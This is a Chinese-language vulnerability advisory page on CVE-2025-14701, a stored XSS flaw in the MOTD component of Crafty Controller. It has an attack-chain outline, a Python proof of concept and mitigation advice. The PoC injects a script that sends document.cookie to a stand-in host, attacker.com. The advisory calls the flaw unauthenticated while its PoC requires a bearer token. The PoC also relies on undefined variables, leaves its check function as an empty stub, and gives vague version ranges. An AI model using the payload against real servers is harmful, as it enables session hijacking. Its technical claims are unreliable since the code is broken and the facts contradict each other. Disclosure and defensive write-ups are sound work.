IPBUF安全漏洞报告
English
CVE-2025-14701 CVSS 7.1 高危

CVE-2025-14701: Crafty Controller Server MOTD存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-14701
漏洞类型
存储型XSS
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Crafty Controller

相关标签

存储型XSSCrafty ControllerMOTD跨站脚本Web漏洞Minecraft服务器管理输入验证不足高危漏洞

漏洞概述

CVE-2025-14701是Crafty Controller中一个严重的存储型跨站脚本(XSS)漏洞。该漏洞存在于服务器的MOTD(Message of the Day)组件中,由于缺乏对用户输入的正确中和处理,远程未认证攻击者可以通过修改服务器MOTD注入恶意脚本代码。当其他用户访问或查看包含恶意MOTD的服务器信息时,这些脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全威胁。CVSS评分7.1,属于高危漏洞,攻击复杂度低,无需认证即可实施攻击,但需要用户交互触发。由于是存储型XSS,恶意代码会持久保存在服务器上,影响所有访问该服务器的用户。Crafty Controller是一个用于管理Minecraft服务器的Web控制面板,该漏洞的存在使得攻击者可以轻易利用社交工程手段诱导受害者访问恶意服务器,从而执行任意客户端脚本代码。

技术细节

该漏洞的根本原因在于Crafty Controller的MOTD组件对用户输入缺乏适当的输入验证和输出编码。攻击者可以通过发送特制的请求修改服务器的MOTD字段,在其中嵌入HTML或JavaScript代码。由于服务器直接存储并向其他用户展示这些未经过滤的内容,恶意脚本会在受害者的浏览器上下文中执行。攻击者利用此漏洞可以:1) 通过document.cookie窃取用户会话cookie;2) 重定向用户到钓鱼页面;3) 在页面中注入虚假内容进行社工攻击;4) 记录用户的键盘输入获取敏感信息。防御此类漏洞需要在两个环节进行处理:输入端对所有用户可控数据进行严格的白名单验证和过滤;输出端对显示到HTML上下文的数据进行正确的HTML实体编码。由于该漏洞位于服务器MOTD组件,任何查看服务器信息的用户都可能成为受害者,攻击面广泛且危害严重。

攻击链分析

STEP 1
步骤1
攻击者识别目标Crafty Controller服务器,获取访问MOTD设置的管理界面或API端点
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的MOTD payload,如<script>标签或事件处理器onerror等
STEP 3
步骤3
通过未认证或已认证的接口将恶意MOTD内容提交到服务器,服务器直接存储而不进行过滤或编码
STEP 4
步骤4
服务器将包含恶意代码的MOTD信息展示给其他用户,如服务器列表、连接信息等页面
STEP 5
步骤5
受害用户访问该服务器信息页面时,浏览器解析MOTD中的HTML/JavaScript,恶意代码在用户上下文中执行
STEP 6
步骤6
攻击者通过执行的JavaScript窃取用户cookie、会话令牌或其他敏感信息,或进行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14701 PoC - Crafty Controller MOTD Stored XSS # This PoC demonstrates how to inject malicious JavaScript via MOTD modification import requests import json TARGET_URL = "http://target-server:8000" # Replace with actual target # Malicious MOTD payload containing XSS malicious_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" def exploit_motd_xss(): """ Exploit stored XSS in Crafty Controller MOTD component """ # Step 1: Obtain access to modify server settings # This typically requires valid credentials or exploiting another vulnerability # Step 2: Modify MOTD with malicious payload motd_endpoint = f"{TARGET_URL}/api/servers/{server_id}/settings" payload = { "motd": malicious_payload, "name": "Crafty Server" } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {auth_token}" } response = requests.post(motd_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] MOTD XSS payload injected successfully") print("[*] Any user viewing server info will trigger the payload") else: print("[-] Failed to inject payload") def check_vulnerability(): """ Check if target is vulnerable by detecting MOTD reflection """ test_payload = "<img src=x onerror=alert('XSS')>" # Send test payload and verify if it's reflected without encoding pass if __name__ == "__main__": exploit_motd_xss()

影响范围

Crafty Controller < 4.x.x (需确认官方修复版本)
Crafty Controller Server MOTD组件所有版本

防御指南

临时缓解措施
在官方修复版本发布前,可通过以下措施临时缓解:1) 限制对Crafty Controller管理界面的访问,仅允许受信任的管理员访问;2) 在Web应用层部署WAF规则过滤MOTD相关请求中的恶意payload;3) 实施严格的输出编码,在显示MOTD时将所有HTML特殊字符进行实体编码;4) 启用Content-Security-Policy限制内联脚本执行;5) 监控和审计MOTD修改日志,及时发现异常修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表